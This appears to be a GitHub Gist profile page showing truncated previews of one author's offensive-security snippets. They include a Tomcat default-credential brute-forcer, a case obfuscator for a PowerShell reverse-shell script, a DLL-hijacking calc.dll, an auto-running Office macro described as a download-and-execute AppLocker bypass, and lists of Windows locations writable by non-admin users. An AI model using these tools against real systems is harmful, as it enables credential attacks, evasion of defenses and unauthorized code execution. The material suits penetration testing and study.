Skip to content

Instantly share code, notes, and snippets.

View egre55's full-sized avatar

egre55 egre55

View GitHub Profile
@egre55
egre55 / tomcat_brute_force.py
Last active November 8, 2019 06:59
tomcat_brute_force
# author: @egre55
# script to automate the testing of common apache tomcat credentials
#!/usr/bin/env python
import sys
import requests
with open('tomcat-betterdefaultpasslist.txt') as f:
for line in f:
@egre55
egre55 / simple_case_obfuscator.sh
Created November 1, 2018 18:28
simple_case_obfuscator.sh
# simple case obfuscator
# author: @egre55
# usage: ./simple_case_obfuscator.sh Invoke-PowerShellTcp.ps1
if [ "$1" == "" ]; then
printf "\nusage: ./simple_case_obfuscator.sh Invoke-PowerShellTcp.ps1\n\n"
exit 0
fi
file=$1
@egre55
egre55 / IIS-LogParser.ps1
Last active July 16, 2024 13:02
IIS-LogParser.ps1
# author: @egre55
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)][string]$logfile
)
$host.UI.RawUI.BufferSize = new-object System.Management.Automation.Host.Size(600,20000)
while($true)
@egre55
egre55 / Get-SituationalAwareness.ps1
Last active July 16, 2024 13:02
Get-SituationalAwareness.ps1
<#
Script will enumerate:
PowerShell Language Mode
Current user details
Current privileges
Domain and Forest functional levels
AD user information
AD computer information
@egre55
egre55 / find_writable_locations.bat
Created October 11, 2018 11:47
find_writable_locations.bat
@echo off
REM Script to find writable locations under C:\
C:
cd C:\TEMP\
echo Creating list of all directories and sub-directories
dir C:\ /s /b /o:n /a:d > C:\Temp\dirs.txt
@egre55
egre55 / procmon.ps1
Last active July 16, 2024 13:03
procmon.ps1
# Simple PowerShell process monitor
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
@egre55
egre55 / procmon.bat
Last active July 16, 2024 13:03
procmon.bat
REM Ugly file-based process monitor script. Non-PowerShell in case blocked
@echo off
:loop
del file1.txt 2> nul
del file2.txt 2> nul
for /f "usebackq skip=1 tokens=* delims= " %%i in (`wmic path win32_process get commandline ^| findstr /r /v "[^\ ]"`) do echo %%i >> file1.txt
@egre55
egre55 / calc.c
Created July 31, 2018 15:35
calc.c (calc.dll) by Holly Graceful @HollyGraceful
/*
cl.exe /LD calc.c
rundll32 shell32.dll,Control_RunDLL C:\Users\%username%\Desktop\calc.dll
calc.c by @HollyGraceful
https://www.gracefulsecurity.com/privesc-dll-hijacking/
*/
#include <windows.h>
int fireLazor()
{
@egre55
egre55 / macro_download_and_execute_rundll32_powershdll_powershell.vba
Last active July 16, 2024 13:03
macro - download and execute applocker bypass (rundll32 / powershdll / powershell)
' based on
' https://stackoverflow.com/questions/17877389/how-do-i-download-a-file-using-vba-without-internet-explorer
'
' PowerShdll.dll by @p3nt4
' https://github.com/p3nt4/PowerShdll
'
' rundll32 is a good candidate as blocking this abuse binary impacts certain Windows functionality - RDP/Office right-click
' shortcuts, and "run-as" a non-privileged user (perhaps a functionality edge-case)
Sub Document_Open()
@egre55
egre55 / locations_writable_by_non-admin_users_in_windows.txt
Last active December 21, 2022 00:34
locations_writable_by_non-admin_users_in_windows
## locations writable by non-admin users in Windows (Windows 10)
# default folders
C:\$Recycle.Bin\<USER SID> (whoami /user)
C:\Users\All Users (links to C:\ProgramData)
C:\PerfLogs
C:\ProgramData
C:\Windows\Tasks
C:\Windows\tracing